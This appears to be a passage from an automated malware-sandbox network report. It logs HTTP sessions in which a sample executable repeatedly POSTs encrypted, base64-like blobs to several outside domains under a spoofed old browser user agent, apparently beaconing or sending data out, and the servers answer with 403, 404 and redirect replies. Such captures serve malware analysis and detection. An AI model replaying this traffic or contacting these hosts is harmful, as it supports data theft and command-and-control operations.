Oct 25, 2024 11:17:38.073941946 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 63 6f 6f 6c 2d 74 6f 2d 77 61 72 6d 2d 73 70 65 63 74 72 75 6d 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 37 34 2c 32 33 34 2c 32 32 30 29 20 30 25 2c 72 67 62 28 31 35 31 2c 31 32 Data Ascii: dient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,r
Oct 25, 2024 11:17:38.079866886 CEST	1236	IN	Data Raw: 20 35 2e 30 36 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 68 61 64 6f 77 2d 2d 6e 61 74 75 72 61 6c 3a 20 36 70 78 20 36 70 78 20 39 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 32 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 Data Ascii: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	52605	154.53.43.150	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:37.295583963 CEST	785	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 552 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.yocinc.org Cache-Control: no-cache Data Raw: 43 58 43 52 44 76 38 4e 50 76 6b 54 41 32 74 61 33 6b 4d 51 2f 49 67 49 46 78 64 56 65 69 36 65 6f 2f 31 48 61 76 69 66 44 5a 4a 5a 30 54 32 41 72 49 6d 56 44 58 70 69 79 38 43 51 7a 51 63 36 6d 35 50 70 70 59 37 39 4a 74 65 37 79 53 42 45 31 76 70 44 4f 57 50 58 4d 4b 39 2f 72 45 76 41 36 67 55 58 54 54 77 7a 38 4a 6e 44 4a 2f 41 4d 67 31 50 32 4e 6a 74 46 44 69 4f 43 61 71 5a 77 6f 68 38 59 39 50 71 71 53 75 59 6e 33 51 4c 2f 70 4b 32 69 32 51 61 6c 45 58 63 36 4a 59 4a 2f 35 2f 70 65 55 30 38 39 52 48 6f 49 2f 6e 45 44 37 4d 77 79 66 49 34 2b 6b 44 68 51 32 32 6e 65 6d 63 7a 58 49 6d 2f 31 64 41 55 42 7a 68 69 75 7a 32 6c 4e 78 34 45 61 4e 38 78 4b 2b 65 31 63 51 61 4c 39 38 56 42 6f 36 4a 53 70 50 34 41 4c 52 65 73 35 34 59 37 4f 6a 35 43 69 78 42 4a 64 44 41 4d 2b 74 69 49 55 72 6b 47 61 78 35 34 32 42 65 66 58 69 49 6c 37 36 66 68 72 70 65 34 66 41 48 76 5a 2f 32 4a 57 4a 59 50 55 43 61 62 36 31 66 4a 62 4c 50 43 30 32 6f 72 69 39 57 6f 32 4e 31 74 38 2b 71 6a 41 30 69 50 4d 76 74 34 6f 4c 54 [TRUNCATED] Data Ascii: CXCRDv8NPvkTA2ta3kMQ/IgIFxdVei6eo/1HavifDZJZ0T2ArImVDXpiy8CQzQc6m5PppY79Jte7ySBE1vpDOWPXMK9/rEvA6gUXTTwz8JnDJ/AMg1P2NjtFDiOCaqZwoh8Y9PqqSuYn3QL/pK2i2QalEXc6JYJ/5/peU089RHoI/nED7MwyfI4+kDhQ22nemczXIm/1dAUBzhiuz2lNx4EaN8xK+e1cQaL98VBo6JSpP4ALRes54Y7Oj5CixBJdDAM+tiIUrkGax542BefXiIl76fhrpe4fAHvZ/2JWJYPUCab61fJbLPC02ori9Wo2N1t8+qjA0iPMvt4oLTj3IArgpB4D5TUJa+CaLSXUQF0FUcfQvx2cOvZJj1qRXm7Eb60ZsQOLmddbrJllivd01eHu5LqBZkny8/jhuv0bBwQm6EsEonu7dm0iiAdqJLpZgP8k7AZ+ctV2qqCdUGrTkwKCjetKEj6yl9Rr3+J5B44hlnV5Bi2XCdQxpjGuHnDLrA7oFI7VEf0ldurAB8v3nElGckuMRsmRU/LC7Q==
Oct 25, 2024 11:17:37.933099985 CEST	373	IN	HTTP/1.1 403 Forbidden Date: Fri, 25 Oct 2024 09:17:37 GMT Server: Apache/2.4.57 (Unix) OpenSSL/1.1.1k Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Oct 25, 2024 11:17:37.950376034 CEST	785	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 552 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.yocinc.org Cache-Control: no-cache Data Raw: 43 58 43 52 44 76 38 4e 50 76 6b 54 41 32 74 61 33 6b 4d 51 2f 49 67 49 46 78 64 56 65 69 36 65 6f 2f 31 48 61 76 69 66 44 5a 4a 5a 30 54 32 41 72 49 6d 56 44 58 70 69 79 38 43 51 7a 51 63 36 6d 35 50 70 70 59 37 39 4a 74 65 37 79 53 42 45 31 76 70 44 4f 57 50 58 4d 4b 39 2f 72 45 76 41 36 67 55 58 54 54 77 7a 38 4a 6e 44 4a 2f 41 4d 67 31 50 32 4e 6a 74 46 44 69 4f 43 61 71 5a 77 6f 68 38 59 39 50 71 71 53 75 59 6e 33 51 4c 2f 70 4b 32 69 32 51 61 6c 45 58 63 36 4a 59 4a 2f 35 2f 70 65 55 30 38 39 52 48 6f 49 2f 6e 45 44 37 4d 77 79 66 49 34 2b 6b 44 68 51 32 32 6e 65 6d 63 7a 58 49 6d 2f 31 64 41 55 42 7a 68 69 75 7a 32 6c 4e 78 34 45 61 4e 38 78 4b 2b 65 31 63 51 61 4c 39 38 56 42 6f 36 4a 53 70 50 34 41 4c 52 65 73 35 34 59 37 4f 6a 35 43 69 78 42 4a 64 44 41 4d 2b 74 69 49 55 72 6b 47 61 78 35 34 32 42 65 66 58 69 49 6c 37 36 66 68 72 70 65 34 66 41 48 76 5a 2f 32 4a 57 4a 59 50 55 43 61 62 36 31 66 4a 62 4c 50 43 30 32 6f 72 69 39 57 6f 32 4e 31 74 38 2b 71 6a 41 30 69 50 4d 76 74 34 6f 4c 54 [TRUNCATED] Data Ascii: CXCRDv8NPvkTA2ta3kMQ/IgIFxdVei6eo/1HavifDZJZ0T2ArImVDXpiy8CQzQc6m5PppY79Jte7ySBE1vpDOWPXMK9/rEvA6gUXTTwz8JnDJ/AMg1P2NjtFDiOCaqZwoh8Y9PqqSuYn3QL/pK2i2QalEXc6JYJ/5/peU089RHoI/nED7MwyfI4+kDhQ22nemczXIm/1dAUBzhiuz2lNx4EaN8xK+e1cQaL98VBo6JSpP4ALRes54Y7Oj5CixBJdDAM+tiIUrkGax542BefXiIl76fhrpe4fAHvZ/2JWJYPUCab61fJbLPC02ori9Wo2N1t8+qjA0iPMvt4oLTj3IArgpB4D5TUJa+CaLSXUQF0FUcfQvx2cOvZJj1qRXm7Eb60ZsQOLmddbrJllivd01eHu5LqBZkny8/jhuv0bBwQm6EsEonu7dm0iiAdqJLpZgP8k7AZ+ctV2qqCdUGrTkwKCjetKEj6yl9Rr3+J5B44hlnV5Bi2XCdQxpjGuHnDLrA7oFI7VEf0ldurAB8v3nElGckuMRsmRU/LC7Q==
Oct 25, 2024 11:17:38.109880924 CEST	373	IN	HTTP/1.1 403 Forbidden Date: Fri, 25 Oct 2024 09:17:38 GMT Server: Apache/2.4.57 (Unix) OpenSSL/1.1.1k Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	52606	3.94.41.167	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:37.816871881 CEST	795	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 560 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.cokocoko.com Cache-Control: no-cache Data Raw: 65 71 6c 4b 38 6b 4d 79 4a 50 6d 75 75 69 48 49 53 6a 4c 58 4e 32 78 70 37 63 58 70 76 65 39 66 4a 2b 52 2f 6a 6b 6b 38 41 4f 77 77 4b 6c 2f 35 4c 32 68 36 46 62 69 45 44 59 79 54 5a 49 42 4a 39 42 66 73 70 66 6c 78 63 50 72 35 4e 63 75 55 41 69 62 30 4a 56 61 4b 72 54 42 49 30 51 6d 5a 36 62 33 66 39 63 72 48 74 76 35 6d 30 66 77 4a 62 38 30 6b 5a 36 68 7a 68 44 46 70 76 38 4e 77 56 51 38 57 76 7a 46 76 39 70 69 6c 44 30 49 77 74 4a 75 58 4c 6d 56 42 69 4a 6e 64 68 51 7a 51 64 77 70 79 4b 57 39 63 55 42 32 50 44 59 62 37 58 54 41 36 2f 53 73 75 79 71 72 4c 78 70 4a 77 43 44 54 68 6b 2f 49 38 75 36 62 2f 6a 66 6c 4e 71 48 2b 71 64 44 4d 4f 67 31 76 74 4c 73 33 74 77 39 44 39 31 59 78 4d 6f 6c 6f 41 75 49 64 75 6d 6f 74 46 53 2f 35 37 73 47 43 54 52 30 70 50 45 33 65 68 73 76 75 77 77 6c 30 73 66 78 79 46 58 76 57 30 4f 2b 47 67 7a 43 42 6c 74 66 30 41 59 70 31 33 37 6b 50 61 50 78 7a 7a 48 36 71 6c 69 54 34 7a 32 34 55 44 31 58 67 6b 6f 50 77 6b 4f 78 76 78 75 61 36 44 41 2b 4b 50 76 48 57 74 41 30 [TRUNCATED] Data Ascii: eqlK8kMyJPmuuiHISjLXN2xp7cXpve9fJ+R/jkk8AOwwKl/5L2h6FbiEDYyTZIBJ9BfspflxcPr5NcuUAib0JVaKrTBI0QmZ6b3f9crHtv5m0fwJb80kZ6hzhDFpv8NwVQ8WvzFv9pilD0IwtJuXLmVBiJndhQzQdwpyKW9cUB2PDYb7XTA6/SsuyqrLxpJwCDThk/I8u6b/jflNqH+qdDMOg1vtLs3tw9D91YxMoloAuIdumotFS/57sGCTR0pPE3ehsvuwwl0sfxyFXvW0O+GgzCBltf0AYp137kPaPxzzH6qliT4z24UD1XgkoPwkOxvxua6DA+KPvHWtA0fcEvihAnOzs4kg57ID30H3CwWTUSV0WTzsjmJy7LgqddaMvTRhGH5XWEd7I5pMV+UL+MRt/YVH9ohIOAXeTFx0/T5v2qSz9YEFGsYEh1uRO3kFp6aHUsMkqHDfbqZBiuH0nTt17d2TL8lywkM3BOdIXjGWWDyUi0Gk4oph5fJJyRrF4dguZmRtv1jZcYMPBL0VJZmBiU5IJuAwvOcBKlScmzZ6+70=
Oct 25, 2024 11:17:38.476872921 CEST	182	IN	HTTP/1.0 404 Not Found cache-control: no-cache content-type: text/html x-reason: UnsupportedMethod Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Not Found</title></head><body>404 Not Found</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	52611	96.127.180.42	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:38.031450987 CEST	830	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 596 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.jacomfg.com Cache-Control: no-cache Data Raw: 6e 50 46 4e 33 79 33 5a 79 66 6b 38 65 55 42 57 4a 4f 69 62 6a 65 61 78 64 45 51 62 53 4a 6e 48 73 56 53 4a 68 4b 64 73 4b 72 4b 38 54 38 6d 72 39 42 2f 49 30 32 78 43 77 54 2f 74 65 2b 6a 42 77 2f 2b 6a 61 73 6b 47 50 70 50 6e 34 58 34 52 4e 4f 4c 69 55 34 59 4d 76 35 39 78 2b 39 43 65 73 41 58 6c 6a 64 38 37 45 47 2f 54 51 45 79 77 44 74 74 71 70 4c 70 54 73 56 64 56 48 43 73 79 64 4e 68 52 64 4c 36 6e 59 6d 2b 69 34 6f 49 6c 4f 34 42 55 36 46 39 74 64 4e 64 56 55 64 75 4e 4c 43 77 62 73 39 68 54 52 46 59 68 39 34 74 5a 4e 69 6a 56 4b 45 57 77 44 6c 52 51 42 73 6d 72 6b 57 33 70 4a 4c 72 56 59 2b 36 52 58 57 4b 41 6a 6f 31 5a 50 43 68 4f 69 65 43 34 71 50 30 50 46 74 34 55 37 44 49 56 72 36 59 4f 6b 75 2f 33 63 38 4f 39 4a 38 51 41 71 36 42 43 30 4b 4d 6d 6b 30 68 4c 65 2f 73 71 69 51 77 5a 34 33 65 62 50 6c 34 47 79 6c 41 2f 79 73 57 39 57 64 49 75 4e 33 35 63 39 47 6f 64 4b 52 6d 52 4b 78 49 61 52 4e 7a 65 77 38 79 37 71 51 66 71 4a 7a 58 75 4e 45 78 62 32 32 59 33 48 6f 54 6a 48 45 74 66 32 74 [TRUNCATED] Data Ascii: nPFN3y3Zyfk8eUBWJOibjeaxdEQbSJnHsVSJhKdsKrK8T8mr9B/I02xCwT/te+jBw/+jaskGPpPn4X4RNOLiU4YMv59x+9CesAXljd87EG/TQEywDttqpLpTsVdVHCsydNhRdL6nYm+i4oIlO4BU6F9tdNdVUduNLCwbs9hTRFYh94tZNijVKEWwDlRQBsmrkW3pJLrVY+6RXWKAjo1ZPChOieC4qP0PFt4U7DIVr6YOku/3c8O9J8QAq6BC0KMmk0hLe/sqiQwZ43ebPl4GylA/ysW9WdIuN35c9GodKRmRKxIaRNzew8y7qQfqJzXuNExb22Y3HoTjHEtf2tmrO2hPq/y2TgRdg1DwXoBG1m2EBo4wsA8YEnfMbpqRmb9XT67J+CAZqogLd3fKvVAVdwVDSkDcCUSlGN1sunGH7XDQ43F/uCRX99Ei735axOLuwrPPiJqwc5ljq6cAr8tTfrkR/5PCOM9e8rml9Y4OBhsp6ClfqDM8OwQjKcpJvfmbRpoCgbCDE+gDMTOloEvmbHPH89JRQ2KGJSCJw3oXnZlNXJuv4MWFdo1HiNlqPyVI2hvwB259ekTtatNXoZE=
Oct 25, 2024 11:17:38.996135950 CEST	421	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:38 GMT Server: Apache Location: https://www.jacomfg.com/ Content-Length: 232 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6a 61 63 6f 6d 66 67 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.jacomfg.com/">here</a>.</p></body></html>
Oct 25, 2024 11:17:38.996509075 CEST	421	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:38 GMT Server: Apache Location: https://www.jacomfg.com/ Content-Length: 232 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6a 61 63 6f 6d 66 67 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.jacomfg.com/">here</a>.</p></body></html>
Oct 25, 2024 11:17:39.038333893 CEST	830	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 596 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.jacomfg.com Cache-Control: no-cache Data Raw: 6e 50 46 4e 33 79 33 5a 79 66 6b 38 65 55 42 57 4a 4f 69 62 6a 65 61 78 64 45 51 62 53 4a 6e 48 73 56 53 4a 68 4b 64 73 4b 72 4b 38 54 38 6d 72 39 42 2f 49 30 32 78 43 77 54 2f 74 65 2b 6a 42 77 2f 2b 6a 61 73 6b 47 50 70 50 6e 34 58 34 52 4e 4f 4c 69 55 34 59 4d 76 35 39 78 2b 39 43 65 73 41 58 6c 6a 64 38 37 45 47 2f 54 51 45 79 77 44 74 74 71 70 4c 70 54 73 56 64 56 48 43 73 79 64 4e 68 52 64 4c 36 6e 59 6d 2b 69 34 6f 49 6c 4f 34 42 55 36 46 39 74 64 4e 64 56 55 64 75 4e 4c 43 77 62 73 39 68 54 52 46 59 68 39 34 74 5a 4e 69 6a 56 4b 45 57 77 44 6c 52 51 42 73 6d 72 6b 57 33 70 4a 4c 72 56 59 2b 36 52 58 57 4b 41 6a 6f 31 5a 50 43 68 4f 69 65 43 34 71 50 30 50 46 74 34 55 37 44 49 56 72 36 59 4f 6b 75 2f 33 63 38 4f 39 4a 38 51 41 71 36 42 43 30 4b 4d 6d 6b 30 68 4c 65 2f 73 71 69 51 77 5a 34 33 65 62 50 6c 34 47 79 6c 41 2f 79 73 57 39 57 64 49 75 4e 33 35 63 39 47 6f 64 4b 52 6d 52 4b 78 49 61 52 4e 7a 65 77 38 79 37 71 51 66 71 4a 7a 58 75 4e 45 78 62 32 32 59 33 48 6f 54 6a 48 45 74 66 32 74 [TRUNCATED] Data Ascii: nPFN3y3Zyfk8eUBWJOibjeaxdEQbSJnHsVSJhKdsKrK8T8mr9B/I02xCwT/te+jBw/+jaskGPpPn4X4RNOLiU4YMv59x+9CesAXljd87EG/TQEywDttqpLpTsVdVHCsydNhRdL6nYm+i4oIlO4BU6F9tdNdVUduNLCwbs9hTRFYh94tZNijVKEWwDlRQBsmrkW3pJLrVY+6RXWKAjo1ZPChOieC4qP0PFt4U7DIVr6YOku/3c8O9J8QAq6BC0KMmk0hLe/sqiQwZ43ebPl4GylA/ysW9WdIuN35c9GodKRmRKxIaRNzew8y7qQfqJzXuNExb22Y3HoTjHEtf2tmrO2hPq/y2TgRdg1DwXoBG1m2EBo4wsA8YEnfMbpqRmb9XT67J+CAZqogLd3fKvVAVdwVDSkDcCUSlGN1sunGH7XDQ43F/uCRX99Ei735axOLuwrPPiJqwc5ljq6cAr8tTfrkR/5PCOM9e8rml9Y4OBhsp6ClfqDM8OwQjKcpJvfmbRpoCgbCDE+gDMTOloEvmbHPH89JRQ2KGJSCJw3oXnZlNXJuv4MWFdo1HiNlqPyVI2hvwB259ekTtatNXoZE=
Oct 25, 2024 11:17:39.266921043 CEST	830	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 596 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.jacomfg.com Cache-Control: no-cache Data Raw: 6e 50 46 4e 33 79 33 5a 79 66 6b 38 65 55 42 57 4a 4f 69 62 6a 65 61 78 64 45 51 62 53 4a 6e 48 73 56 53 4a 68 4b 64 73 4b 72 4b 38 54 38 6d 72 39 42 2f 49 30 32 78 43 77 54 2f 74 65 2b 6a 42 77 2f 2b 6a 61 73 6b 47 50 70 50 6e 34 58 34 52 4e 4f 4c 69 55 34 59 4d 76 35 39 78 2b 39 43 65 73 41 58 6c 6a 64 38 37 45 47 2f 54 51 45 79 77 44 74 74 71 70 4c 70 54 73 56 64 56 48 43 73 79 64 4e 68 52 64 4c 36 6e 59 6d 2b 69 34 6f 49 6c 4f 34 42 55 36 46 39 74 64 4e 64 56 55 64 75 4e 4c 43 77 62 73 39 68 54 52 46 59 68 39 34 74 5a 4e 69 6a 56 4b 45 57 77 44 6c 52 51 42 73 6d 72 6b 57 33 70 4a 4c 72 56 59 2b 36 52 58 57 4b 41 6a 6f 31 5a 50 43 68 4f 69 65 43 34 71 50 30 50 46 74 34 55 37 44 49 56 72 36 59 4f 6b 75 2f 33 63 38 4f 39 4a 38 51 41 71 36 42 43 30 4b 4d 6d 6b 30 68 4c 65 2f 73 71 69 51 77 5a 34 33 65 62 50 6c 34 47 79 6c 41 2f 79 73 57 39 57 64 49 75 4e 33 35 63 39 47 6f 64 4b 52 6d 52 4b 78 49 61 52 4e 7a 65 77 38 79 37 71 51 66 71 4a 7a 58 75 4e 45 78 62 32 32 59 33 48 6f 54 6a 48 45 74 66 32 74 [TRUNCATED] Data Ascii: nPFN3y3Zyfk8eUBWJOibjeaxdEQbSJnHsVSJhKdsKrK8T8mr9B/I02xCwT/te+jBw/+jaskGPpPn4X4RNOLiU4YMv59x+9CesAXljd87EG/TQEywDttqpLpTsVdVHCsydNhRdL6nYm+i4oIlO4BU6F9tdNdVUduNLCwbs9hTRFYh94tZNijVKEWwDlRQBsmrkW3pJLrVY+6RXWKAjo1ZPChOieC4qP0PFt4U7DIVr6YOku/3c8O9J8QAq6BC0KMmk0hLe/sqiQwZ43ebPl4GylA/ysW9WdIuN35c9GodKRmRKxIaRNzew8y7qQfqJzXuNExb22Y3HoTjHEtf2tmrO2hPq/y2TgRdg1DwXoBG1m2EBo4wsA8YEnfMbpqRmb9XT67J+CAZqogLd3fKvVAVdwVDSkDcCUSlGN1sunGH7XDQ43F/uCRX99Ei735axOLuwrPPiJqwc5ljq6cAr8tTfrkR/5PCOM9e8rml9Y4OBhsp6ClfqDM8OwQjKcpJvfmbRpoCgbCDE+gDMTOloEvmbHPH89JRQ2KGJSCJw3oXnZlNXJuv4MWFdo1HiNlqPyVI2hvwB259ekTtatNXoZE=
Oct 25, 2024 11:17:39.331859112 CEST	421	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:38 GMT Server: Apache Location: https://www.jacomfg.com/ Content-Length: 232 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6a 61 63 6f 6d 66 67 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.jacomfg.com/">here</a>.</p></body></html>
Oct 25, 2024 11:17:39.483031034 CEST	421	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:39 GMT Server: Apache Location: https://www.jacomfg.com/ Content-Length: 232 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6a 61 63 6f 6d 66 67 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.jacomfg.com/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	52612	23.227.38.74	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

